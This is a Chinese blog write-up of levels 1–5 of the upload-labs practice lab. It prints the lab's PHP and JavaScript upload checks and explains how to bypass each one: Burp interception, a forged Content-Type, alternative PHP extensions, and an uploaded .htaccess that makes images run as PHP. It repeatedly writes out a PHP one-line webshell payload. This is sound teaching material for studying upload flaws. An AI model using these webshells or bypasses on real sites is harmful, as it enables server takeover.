从upload-labs了解upload那点事(21关版本原理精细记录)


做文件上传的题最基本的思想是什么?是如何让文件被保存到网站的目录下,并且可以被访问,从而成功绕过,并将文件上传。

<1>最简单的是前端(第一关)

这一部分记录upload第一关的上传方法

【源码审计】

function checkFile() {
    var file = document.getElementsByName('upload_file')[0].value;
    if (file == null || file == "") {
        alert("请选择要上传的文件!");
        return false;
    }
    //定义允许上传的文件类型
    var allow_ext = ".jpg|.png|.gif";
    //提取上传文件的类型
    var ext_name = file.substring(file.lastIndexOf("."));
    //判断上传文件类型是否允许上传
    if (allow_ext.indexOf(ext_name + "|") == -1) {
        var errMsg = "该文件不允许上传,请上传" + allow_ext + "类型的文件,当前文件类型为:" + ext_name;
        alert(errMsg);
        return false;
    }
}

上面的代码时javascript代码。从上面的javascript代码可知,代码定义了一个函数,从函数名可以看出是用来过滤文件的,下面来分析一下

  • 1、首先用getElementByName方法将name为’upload_file‘的input标签的value赋值给file变量

  • 2、然后if判断文件是否为空,是的话则alert”请选择要上传的文件“

  • 3、然后用substring方法截取file变量值中文件后缀的部分并且赋值给ext_name

  • 4、之后用indexOF方法比对提前设定好的allow_ext变量与ext_name变量,如果allow_ext变量中没有ext_name对应的值,则indexOF方法会返回-1,如果是-1则会弹窗

  • 5、这就是这个函数的作用,当我们选择了文件并且点击上传之后会触发焦事件从而调用checkfile函数。代码编写如下图。
    在这里插入图片描述

  • 6.审计完源码之后,可以说没什么破绽,但是我们可以不在浏览器上面绕过,可以在浏览器发出请求之后再拦截然后将文件改成php文件。而后端源码为

 if (isset($_POST['submit'])) {
    if (file_exists(UPLOAD_PATH)) {
        $temp_file = $_FILES['upload_file']['tmp_name'];
        $img_path = UPLOAD_PATH . '/' . $_FILES['upload_file']['name'];
        if (move_uploaded_file($temp_file, $img_path)){
            $is_upload = true;
        } else {
            $msg = '上传出错!';
        }
    } else {
        $msg = UPLOAD_PATH . '文件夹不存在,请手工创建!';
    }
}
  • 7、由以上源码可知在后端没有做任何过滤,直接用move_uploaded_file函数将文件存到根目录下。所以我们不需要做什么。

基于这种验证方式,我们可以通过上传一个文件内容为php一句话木马的jpg文件之后用burpsuite抓包后改变文件名为php。

【操作步骤】

  • 1、写一个php一句话木马的文件php文件的内容是
    <?php @eval($_POST['forming']);?>之后将文件的后缀改为jpg,png或gif

  • 2、直接上传之后用burpsuite抓包修改文件后缀名
    在这里插入图片描述

<2>content-type很简单(第二关)

这一部分记录的是第二关
【源码审计】
这一关的前端没有过滤,所以直接看后端

if (isset($_POST['submit'])) {
    if (file_exists(UPLOAD_PATH)) {
        if (($_FILES['upload_file']['type'] == 'image/jpeg') || ($_FILES['upload_file']['type'] == 'image/png') || ($_FILES['upload_file']['type'] == 'image/gif')) {
            $temp_file = $_FILES['upload_file']['tmp_name'];
            $img_path = UPLOAD_PATH . '/' . $_FILES['upload_file']['name'];          
            if (move_uploaded_file($temp_file, $img_path)) {
                $is_upload = true;
            } else {
                $msg = '上传出错!';
            }
        } else {
            $msg = '文件类型不正确,请重新上传!';
        }
    } else {
        $msg = UPLOAD_PATH.'文件夹不存在,请手工创建!';
    }
}

这一关的检测逻辑是,用if函数结合$_FILES['myfile']['type']判断MIME类型$_FILES['myfile']['type']是php中内置的一种方法用于调取一个会话中file的相关数据,而type则调取的是浏览器发送的报文中file文件对应的post模块中的content_type参数,而这个参数是可以通过burp抓包的方式更改的。不止能调取type,还有tmp_name这个的意思是得到内存中文件的真实名字,还有其它比如name、tmp_name、size等

由以上的分析,我们发现要想绕过网站的检验成功上传不和规定的文件可以通过修改上传的content-type的值,所以我们可以通过抓包的方式修改content-type的值

【操作步骤】

上传php的一句话木马文件,用burp抓包,修改content-type,将application/octect-stream变为image/jpeg、image/png或image/gif如下图
在这里插入图片描述
在这里插入图片描述

<3>文件后缀能改变(第三关)

这一部分讲的是第三关
【代码审计】

if (isset($_POST['submit'])) {
    if (file_exists(UPLOAD_PATH)) {
        $deny_ext = array('.asp','.aspx','.php','.jsp');
        $file_name = trim($_FILES['upload_file']['name']);
        $file_name = deldot($file_name);//删除文件名末尾的点
        $file_ext = strrchr($file_name, '.');
        $file_ext = strtolower($file_ext); //转换为小写
        $file_ext = str_ireplace('::$DATA', '', $file_ext);//去除字符串::$DATA
        $file_ext = trim($file_ext); //收尾去空

        if(!in_array($file_ext, $deny_ext)) {
            $temp_file = $_FILES['upload_file']['tmp_name'];
            $img_path = UPLOAD_PATH.'/'.date("YmdHis").rand(1000,9999).$file_ext;            
            if (move_uploaded_file($temp_file,$img_path)) {
                 $is_upload = true;
            } else {
                $msg = '上传出错!';
            }
        } else {
            $msg = '不允许上传.asp,.aspx,.php,.jsp后缀文件!';
        }
    } else {
        $msg = UPLOAD_PATH . '文件夹不存在,请手工创建!';
    }
}

由上面的代码可以知道,提前对浏览器传递的filename变量做了以下几步

  • 1、用trim函数移除字符串两端的空格
  • 2、用deldot删除字符串末尾的点
  • 3、用strchr函数截取字符串第一个出现的点之后的字符
  • 4、将第三步处理的字符串都变成小写
  • 5、去除::$DATA
  • 6、再次调用trim函数

在apache中php1,php2,php3,php4,php5,phtml等文件都都可以解析php代码,所以我们只需要将文件后缀改为php5等后缀形式就好。

【操作步骤】

1、直接上传php一句话木马文件,并在之后抓包,修改文件名
在这里插入图片描述
2、修改文件后缀为php5
在这里插入图片描述

<4>配置文件也不难(第四五关)

这一部分讲的是第四关和第五关

【第四关源码分析】

if (isset($_POST['submit'])) {
    if (file_exists(UPLOAD_PATH)) {
        $deny_ext = array(".php",".php5",".php4",".php3",".php2",".php1",".html",".htm",".phtml",".pht",".pHp",".pHp5",".pHp4",".pHp3",".pHp2",".pHp1",".Html",".Htm",".pHtml",".jsp",".jspa",".jspx",".jsw",".jsv",".jspf",".jtml",".jSp",".jSpx",".jSpa",".jSw",".jSv",".jSpf",".jHtml",".asp",".aspx",".asa",".asax",".ascx",".ashx",".asmx",".cer",".aSp",".aSpx",".aSa",".aSax",".aScx",".aShx",".aSmx",".cEr",".sWf",".swf",".ini");
        $file_name = trim($_FILES['upload_file']['name']);
        $file_name = deldot($file_name);//删除文件名末尾的点
        $file_ext = strrchr($file_name, '.');
        $file_ext = strtolower($file_ext); //转换为小写
        $file_ext = str_ireplace('::$DATA', '', $file_ext);//去除字符串::$DATA
        $file_ext = trim($file_ext); //收尾去空

        if (!in_array($file_ext, $deny_ext)) {
            $temp_file = $_FILES['upload_file']['tmp_name'];
            $img_path = UPLOAD_PATH.'/'.$file_name;
            if (move_uploaded_file($temp_file, $img_path)) {
                $is_upload = true;
            } else {
                $msg = '上传出错!';
            }
        } else {
            $msg = '此文件不允许上传!';
        }
    } else {
        $msg = UPLOAD_PATH . '文件夹不存在,请手工创建!';
    }
}

由上面的代码可以知道,源码用浏览器传递的filename变量取得后缀并且取得后缀之后用in_array函数判断是否在提前设置好的字符串变量里,然后用浏览器传递的filename变量结合成路径保存文件。具体操作方法如下:

  • 1、用deldot去除文件后面的点
  • 2、用strchr函数将文件名从左至右第一个点之后的字符截取出来
  • 3、将第二步截取的字符都换成小写
  • 4、用str_ireplace函数判断后缀字符串中是否有::$DATA,有的话将该字符串转换为空
  • 5、之后将后缀字符串左右两边的空格去掉
  • 6、用in_array函数判断提前设定好的字符串中是否有后缀字符串
  • 7、若有的话将filename的值拼接成路径保存文件

审计完代码后我们再来想一下,我们的关键点是什么,是绕过in_array函数,可以想见的是在文件名上面动手脚是绕不过去的,基于此我们可以用上传.htaccess文件的方式规定所有文件都用php来解析,或者某一类用php来解析(.htaccess文件是apache的一种配置文件,这种文件的作用范围是本目录及以下的子目录)

  • 1.若想设置apache将所有文件都按照php来解析,需要将.htaccess文件的内容设置为如下
    SetHandler application/x-httpd-php

  • 2、若指向设置部分则文件内容如下就是设置所有的jpg文件都按照php解析
    AddType application/x-https-php .jpg

文件之后上传ihtaccess文件之后上传文件内容为
<?php @eval($_POST['forming']);?>而文件后缀为jpg的文件就好

【第四关操作步骤】

首先上传.htaccess文件
在这里插入图片描述
由上图举例的是上传文件内容是SetHandler application/x-httpd-php这种类型的,下面上传文件内容为一句话木马的jpg文件。
在这里插入图片描述
【第五关源码分析】

if (file_exists(UPLOAD_PATH)) {
        $deny_ext = array(".php",".php5",".php4",".php3",".php2",".html",".htm",".phtml",".pht",".pHp",".pHp5",".pHp4",".pHp3",".pHp2",".Html",".Htm",".pHtml",".jsp",".jspa",".jspx",".jsw",".jsv",".jspf",".jtml",".jSp",".jSpx",".jSpa",".jSw",".jSv",".jSpf",".jHtml",".asp",".aspx&
评论 6
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

SuperForming

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值